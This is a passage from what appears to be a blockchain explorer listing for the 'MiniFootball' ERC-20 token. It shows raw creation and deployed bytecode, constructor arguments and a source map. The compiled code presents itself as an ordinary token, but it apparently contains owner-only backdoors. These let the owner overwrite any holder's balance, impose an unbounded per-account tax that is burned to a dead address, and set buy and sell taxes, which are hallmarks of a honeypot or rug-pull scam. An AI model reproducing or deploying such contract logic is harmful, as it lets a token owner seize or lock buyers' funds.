ffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806116de575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b905092915050565b5f81836116f3919061209e565b905092915050565b5f8183611708919061210c565b905092915050565b5f818361171d919061206b565b905092915050565b5f8183611732919061213c565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611771578082015181840152602081019050611756565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6117968261173a565b6117a08185611744565b93506117b0818560208601611754565b6117b98161177c565b840191505092915050565b5f6020820190508181035f8301526117dc818461178c565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611811826117e8565b9050919050565b61182181611807565b811461182b575f80fd5b50565b5f8135905061183c81611818565b92915050565b5f819050919050565b61185481611842565b811461185e575f80fd5b50565b5f8135905061186f8161184b565b92915050565b5f806040838503121561188b5761188a6117e4565b5b5f6118988582860161182e565b92505060206118a985828601611861565b9150509250929050565b5f8115159050919050565b6118c7816118b3565b82525050565b5f6020820190506118e05f8301846118be565b92915050565b6118ef816118b3565b81146118f9575f80fd5b50565b5f8135905061190a816118e6565b92915050565b5f8060408385031215611926576119256117e4565b5b5f6119338582860161182e565b9250506020611944858286016118fc565b9150509250929050565b61195781611842565b82525050565b5f6020820190506119705f83018461194e565b92915050565b5f805f6060848603121561198d5761198c6117e4565b5b5f61199a8682870161182e565b93505060206119ab8682870161182e565b92505060406119bc86828701611861565b9150509250925092565b5f60ff82169050919050565b6119db816119c6565b82525050565b5f6020820190506119f45f8301846119d2565b92915050565b5f8060408385031215611a1057611a0f6117e4565b5b5f611a1d85828601611861565b9250506020611a2e85828601611861565b9150509250929050565b5f60208284031215611a4d57611a4c6117e4565b5b5f611a5a8482850161182e565b91505092915050565b611a6c81611807565b82525050565b5f602082019050611a855f830184611a63565b92915050565b5f8060408385031215611aa157611aa06117e4565b5b5f611aae8582860161182e565b9250506020611abf8582860161182e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611b0d57607f821691505b602082108103611b2057611b1f611ac9565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e65725f82015250565b5f611b5a602083611744565b9150611b6582611b26565b602082019050919050565b5f6020820190508181035f830152611b8781611b4e565b9050919050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e5f8201527f206f7220657175616c20746f2030000000000000000000000000000000000000602082015250565b5f611be8602e83611744565b9150611bf382611b8e565b604082019050919050565b5f6020820190508181035f830152611c1581611bdc565b9050919050565b5f604082019050611c2f5f830185611a63565b611c3c6020830184611a63565b9392505050565b5f81519050611c5181611818565b92915050565b5f60208284031215611c6c57611c6b6117e4565b5b5f611c7984828501611c43565b91505092915050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611cdc602683611744565b9150611ce782611c82565b604082019050919050565b5f6020820190508181035f830152611d0981611cd0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611d6a602483611744565b9150611d7582611d10565b604082019050919050565b5f6020820190508181035f830152611d9781611d5e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611df8602283611744565b9150611e0382611d9e565b604082019050919050565b5f6020820190508181035f830152611e2581611dec565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611e60601d83611744565b9150611e6b82611e2c565b602082019050919050565b5f6020820190508181035f830152611e8d81611e54565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611eee602583611744565b9150611ef982611e94565b604082019050919050565b5f6020820190508181035f830152611f1b81611ee2565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611f7c602383611744565b9150611f8782611f22565b604082019050919050565b5f6020820190508181035f830152611fa981611f70565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61200a602683611744565b915061201582611fb0565b604082019050919050565b5f6020820190508181035f83015261203781611ffe565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61207582611842565b915061208083611842565b92508282039050818111156120985761209761203e565b5b92915050565b5f6120a882611842565b91506120b383611842565b92508282026120c181611842565b915082820484148315176120d8576120d761203e565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61211682611842565b915061212183611842565b925082612131576121306120df565b5b828204905092915050565b5f61214682611842565b915061215183611842565b92508282019050808211156121695761216861203e565b5b9291505056fea26469706673582212202554c8dd2cb43a745b0799b81de5597a36ecf36e39ce1f5aa8ea3938ce58c9bf64736f6c63430008140033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000c4d696e69466f6f7462616c6c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c4d696e69466f6f7462616c6c0000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610114575f3560e01c8063715018a6116100a057806395d89b411161006f57806395d89b41146102b6578063a9059cbb146102d4578063c1f1b1b514610304578063dd62ed3e1461030e578063f2fde38b1461033e57610114565b8063715018a6146102565780638187f516146102605780638da5cb5b1461027c57806390ec57f11461029a57610114565b806323b872dd116100e757806323b872dd146101a0578063313ce567146101d05780634db23e3e146101ee578063508e13b81461020a57806370a082311461022657610114565b806306fdde0314610118578063095ea7b31461013657806313b2a23e1461016657806318160ddd14610182575b5f80fd5b61012061035a565b60405161012d91906117c4565b60405180910390f35b610150600480360381019061014b9190611875565b6103ea565b60405161015d91906118cd565b60405180910390f35b610180600480360381019061017b9190611910565b61040c565b005b61018a6104e0565b604051610197919061195d565b60405180910390f35b6101ba60048036038101906101b59190611976565b6104e9565b6040516101c791906118cd565b60405180910390f35b6101d8610517565b6040516101e591906119e1565b60405180910390f35b61020860048036038101906102039190611875565b61051f565b005b610224600480360381019061021f91906119fa565b6105e1565b005b610240600480360381019061023b9190611a38565b61066f565b60405161024d919061195d565b60405180910390f35b61025e6106b5565b005b61027a60048036038101906102759190611a38565b61073c565b005b6102846107fb565b6040516102919190611a72565b60405180910390f35b6102b460048036038101906102af9190611875565b610823565b005b6102be610928565b6040516102cb91906117c4565b60405180910390f35b6102ee60048036038101906102e99190611875565b6109b8565b6040516102fb91906118cd565b60405180910390f35b61030c6109d5565b005b61032860048036038101906103239190611a8b565b610b35565b604051610335919061195d565b60405180910390f35b61035860048036038101906103539190611a38565b610bb6565b005b60606002805461036990611af6565b80601f016020809104026020016040519081016040528092919081815260200182805461039590611af6565b80156103e05780601f106103b7576101008083540402835291602001916103e0565b820191905f5260205f20905b8154815290600101906020018083116103c357829003601f168201915b5050505050905090565b5f806103f4610cac565b9050610401818585610cb3565b600191505092915050565b610414610cac565b73ffffffffffffffffffffffffffffffffffffffff166104326107fb565b73ffffffffffffffffffffffffffffffffffffffff1614610488576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047f90611b70565b60405180910390fd5b8060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f600154905090565b5f806104f3610cac565b9050610500858285610e75565b61050b858585610f00565b60019150509392505050565b5f6012905090565b610527610cac565b73ffffffffffffffffffffffffffffffffffffffff166105456107fb565b73ffffffffffffffffffffffffffffffffffffffff161461059b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059290611b70565b60405180910390fd5b8060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b6105e9610cac565b73ffffffffffffffffffffffffffffffffffffffff166106076107fb565b73ffffffffffffffffffffffffffffffffffffffff161461065d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065490611b70565b60405180910390fd5b81600881905550806009819055505050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106bd610cac565b73ffffffffffffffffffffffffffffffffffffffff166106db6107fb565b73ffffffffffffffffffffffffffffffffffffffff1614610731576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072890611b70565b60405180910390fd5b61073a5f61157f565b565b610744610cac565b73ffffffffffffffffffffffffffffffffffffffff166107626107fb565b73ffffffffffffffffffffffffffffffffffffffff16146107b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107af90611b70565b60405180910390fd5b80600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61082b610cac565b73ffffffffffffffffffffffffffffffffffffffff166108496107fb565b73ffffffffffffffffffffffffffffffffffffffff161461089f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089690611b70565b60405180910390fd5b5f8110156108e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d990611bfe565b60405180910390fd5b8060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b60606003805461093790611af6565b80601f016020809104026020016040519081016040528092919081815260200182805461096390611af6565b80156109ae5780601f10610985576101008083540402835291602001916109ae565b820191905f5260205f20905b81548152906001019060200180831161099157829003601f168201915b5050505050905090565b5f6109cb6109c4610cac565b8484610f00565b6001905092915050565b6109dd610cac565b73ffffffffffffffffffffffffffffffffffffffff166109fb6107fb565b73ffffffffffffffffffffffffffffffffffffffff1614610a51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4890611b70565b60405180910390fd5b735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b8152600401610ab4929190611c1c565b6020604051808303815f875af1158015610ad0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610af49190611c57565b600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610bbe610cac565b73ffffffffffffffffffffffffffffffffffffffff16610bdc6107fb565b73ffffffffffffffffffffffffffffffffffffffff1614610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2990611b70565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ca0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9790611cf2565b60405180910390fd5b610ca98161157f565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1890611d80565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8690611e0e565b60405180910390fd5b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e68919061195d565b60405180910390a3505050565b5f610e808484610b35565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610efa5781811015610eec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee390611e76565b60405180910390fd5b610ef98484848403610cb3565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6590611f04565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd390611f92565b60405180910390fd5b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611060576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105790612020565b60405180910390fd5b5f6001905061106f8585611642565b15611078575f90505b5f8115611239575f8073ffffffffffffffffffffffffffffffffffffffff16600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461118957600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160361112e5760095490505b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036111885760085490505b5b5f60075f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111561120f5760075f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b611235606461122783886116e690919063ffffffff16565b6116fb90919063ffffffff16565b9150505b5f8111156113cf576112918160055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461171090919063ffffffff16565b60055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506113248160055f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461172590919063ffffffff16565b60055f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113c6919061195d565b60405180910390a35b61142a81856113de919061206b565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461171090919063ffffffff16565b60055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506114c6818561147a919061206b565b60055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461172590919063ffffffff16565b60055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8387611562919061206b565b60405161156f919061195d565b60405180910390a3505050505050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806116de575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b905092915050565b5f81836116f3919061209e565b905092915050565b5f8183611708919061210c565b905092915050565b5f818361171d919061206b565b905092915050565b5f8183611732919061213c565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611771578082015181840152602081019050611756565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6117968261173a565b6117a08185611744565b93506117b0818560208601611754565b6117b98161177c565b840191505092915050565b5f6020820190508181035f8301526117dc818461178c565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611811826117e8565b9050919050565b61182181611807565b811461182b575f80fd5b50565b5f8135905061183c81611818565b92915050565b5f819050919050565b61185481611842565b811461185e575f80fd5b50565b5f8135905061186f8161184b565b92915050565b5f806040838503121561188b5761188a6117e4565b5b5f6118988582860161182e565b92505060206118a985828601611861565b9150509250929050565b5f8115159050919050565b6118c7816118b3565b82525050565b5f6020820190506118e05f8301846118be565b92915050565b6118ef816118b3565b81146118f9575f80fd5b50565b5f8135905061190a816118e6565b92915050565b5f8060408385031215611926576119256117e4565b5b5f6119338582860161182e565b9250506020611944858286016118fc565b9150509250929050565b61195781611842565b82525050565b5f6020820190506119705f83018461194e565b92915050565b5f805f6060848603121561198d5761198c6117e4565b5b5f61199a8682870161182e565b93505060206119ab8682870161182e565b92505060406119bc86828701611861565b9150509250925092565b5f60ff82169050919050565b6119db816119c6565b82525050565b5f6020820190506119f45f8301846119d2565b92915050565b5f8060408385031215611a1057611a0f6117e4565b5b5f611a1d85828601611861565b9250506020611a2e85828601611861565b9150509250929050565b5f60208284031215611a4d57611a4c6117e4565b5b5f611a5a8482850161182e565b91505092915050565b611a6c81611807565b82525050565b5f602082019050611a855f830184611a63565b92915050565b5f8060408385031215611aa157611aa06117e4565b5b5f611aae8582860161182e565b9250506020611abf8582860161182e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611b0d57607f821691505b602082108103611b2057611b1f611ac9565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e65725f82015250565b5f611b5a602083611744565b9150611b6582611b26565b602082019050919050565b5f6020820190508181035f830152611b8781611b4e565b9050919050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e5f8201527f206f7220657175616c20746f2030000000000000000000000000000000000000602082015250565b5f611be8602e83611744565b9150611bf382611b8e565b604082019050919050565b5f6020820190508181035f830152611c1581611bdc565b9050919050565b5f604082019050611c2f5f830185611a63565b611c3c6020830184611a63565b9392505050565b5f81519050611c5181611818565b92915050565b5f60208284031215611c6c57611c6b6117e4565b5b5f611c7984828501611c43565b91505092915050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611cdc602683611744565b9150611ce782611c82565b604082019050919050565b5f6020820190508181035f830152611d0981611cd0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611d6a602483611744565b9150611d7582611d10565b604082019050919050565b5f6020820190508181035f830152611d9781611d5e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611df8602283611744565b9150611e0382611d9e565b604082019050919050565b5f6020820190508181035f830152611e2581611dec565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611e60601d83611744565b9150611e6b82611e2c565b602082019050919050565b5f6020820190508181035f830152611e8d81611e54565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611eee602583611744565b9150611ef982611e94565b604082019050919050565b5f6020820190508181035f830152611f1b81611ee2565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611f7c602383611744565b9150611f8782611f22565b604082019050919050565b5f6020820190508181035f830152611fa981611f70565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61200a602683611744565b915061201582611fb0565b604082019050919050565b5f6020820190508181035f83015261203781611ffe565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61207582611842565b915061208083611842565b92508282039050818111156120985761209761203e565b5b92915050565b5f6120a882611842565b91506120b383611842565b92508282026120c181611842565b915082820484148315176120d8576120d761203e565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61211682611842565b915061212183611842565b925082612131576121306120df565b5b828204905092915050565b5f61214682611842565b915061215183611842565b92508282019050808211156121695761216861203e565b5b9291505056fea26469706673582212202554c8dd2cb43a745b0799b81de5597a36ecf36e39ce1f5aa8ea3938ce58c9bf64736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000c4d696e69466f6f7462616c6c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c4d696e69466f6f7462616c6c0000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): MiniFootball
Arg [1] : symbol_ (string): MiniFootball
Arg [2] : totalSupply_ (uint256): 1000000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [4] : 4d696e69466f6f7462616c6c0000000000000000000000000000000000000000
Arg [5] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [6] : 4d696e69466f6f7462616c6c0000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

5428:4548:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3655:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4266:208;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9211:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3985:107;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9645:322;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3881:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9342:115;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8839:140;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8366:126;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;913:111;;;:::i;:::-;;8728:99;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;662:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8991:208;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3766:103;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9469:164;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8504:212;;;:::i;:::-;;4104:150;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1036:213;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3655:99;3700:13;3737:5;3730:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3655:99;:::o;4266:208::-;4340:4;4361:13;4377:12;:10;:12::i;:::-;4361:28;;4404:32;4413:5;4420:7;4429:6;4404:8;:32::i;:::-;4458:4;4451:11;;;4266:208;;;;:::o;9211:119::-;824:12;:10;:12::i;:::-;813:23;;:7;:5;:7::i;:::-;:23;;;805:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9312:6:::1;9293;:16;9300:8;9293:16;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;9211:119:::0;;:::o;3985:107::-;4037:7;4068:12;;4061:19;;3985:107;:::o;9645:322::-;9783:4;9804:15;9822:12;:10;:12::i;:::-;9804:30;;9849:38;9865:4;9871:7;9880:6;9849:15;:38::i;:::-;9902:27;9912:4;9918:2;9922:6;9902:9;:27::i;:::-;9951:4;9944:11;;;9645:322;;;;;:::o;3881:92::-;3930:5;3959:2;3952:9;;3881:92;:::o;9342:115::-;824:12;:10;:12::i;:::-;813:23;;:7;:5;:7::i;:::-;:23;;;805:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9439:6:::1;9423:9;:13;9433:2;9423:13;;;;;;;;;;;;;;;:22;;;;9342:115:::0;;:::o;8839:140::-;824:12;:10;:12::i;:::-;813:23;;:7;:5;:7::i;:::-;:23;;;805:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8932:4:::1;8922:7;:14;;;;8962:5;8951:8;:16;;;;8839:140:::0;;:::o;8366:126::-;8431:7;8462:9;:18;8472:7;8462:18;;;;;;;;;;;;;;;;8455:25;;8366:126;;;:::o;913:111::-;824:12;:10;:12::i;:::-;813:23;;:7;:5;:7::i;:::-;:23;;;805:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;982:30:::1;1009:1;982:18;:30::i;:::-;913:111::o:0;8728:99::-;824:12;:10;:12::i;:::-;813:23;;:7;:5;:7::i;:::-;:23;;;805:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8810:5:::1;8794:13;;:21;;;;;;;;;;;;;;;;;;8728:99:::0;:::o;662:95::-;708:7;739:6;;;;;;;;;;;732:13;;662:95;:::o;8991:208::-;824:12;:10;:12::i;:::-;813:23;;:7;:5;:7::i;:::-;:23;;;805:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9094:1:::1;9084:6;:11;;9076:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;9181:6;9161:7;:17;9169:8;9161:17;;;;;;;;;;;;;;;:26;;;;8991:208:::0;;:::o;3766:103::-;3813:13;3850:7;3843:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3766:103;:::o;9469:164::-;9539:4;9560:35;9570:12;:10;:12::i;:::-;9584:2;9588:6;9560:9;:35::i;:::-;9617:4;9610:11;;9469:164;;;;:::o;8504:212::-;824:12;:10;:12::i;:::-;813:23;;:7;:5;:7::i;:::-;:23;;;805:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8591:42:::1;8573:72;;;8654:4;8661:42;8573:131;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8557:13;;:147;;;;;;;;;;;;;;;;;;8504:212::o:0;4104:150::-;4184:7;4215:11;:18;4227:5;4215:18;;;;;;;;;;;;;;;:27;4234:7;4215:27;;;;;;;;;;;;;;;;4208:34;;4104:150;;;;:::o;1036:213::-;824:12;:10;:12::i;:::-;813:23;;:7;:5;:7::i;:::-;:23;;;805:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1149:1:::1;1129:22;;:8;:22;;::::0;1121:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1209:28;1228:8;1209:18;:28::i;:::-;1036:213:::0;:::o;269:106::-;322:7;353:10;346:17;;269:106;:::o;4486:414::-;4659:1;4642:19;;:5;:19;;;4634:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4744:1;4725:21;;:7;:21;;;4717:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4830:6;4800:11;:18;4812:5;4800:18;;;;;;;;;;;;;;;:27;4819:7;4800:27;;;;;;;;;;;;;;;:36;;;;4872:7;4856:32;;4865:5;4856:32;;;4881:6;4856:32;;;;;;:::i;:::-;;;;;;;;4486:414;;;:::o;4912:501::-;5067:24;5094:25;5104:5;5111:7;5094:9;:25::i;:::-;5067:52;;5158:17;5138:16;:37;5134:268;;5224:6;5204:16;:26;;5196:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5316:51;5325:5;5332:7;5360:6;5341:16;:25;5316:8;:51::i;:::-;5134:268;5052:361;4912:501;;;:::o;6540:1660::-;6708:1;6692:18;;:4;:18;;;6684:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6789:1;6775:16;;:2;:16;;;6767:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6846:19;6868:9;:15;6878:4;6868:15;;;;;;;;;;;;;;;;6846:37;;6921:7;6906:11;:22;;6898:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6986:7;6996:4;6986:14;;7019:27;7037:4;7043:2;7019:17;:27::i;:::-;7015:78;;;7072:5;7067:10;;7015:7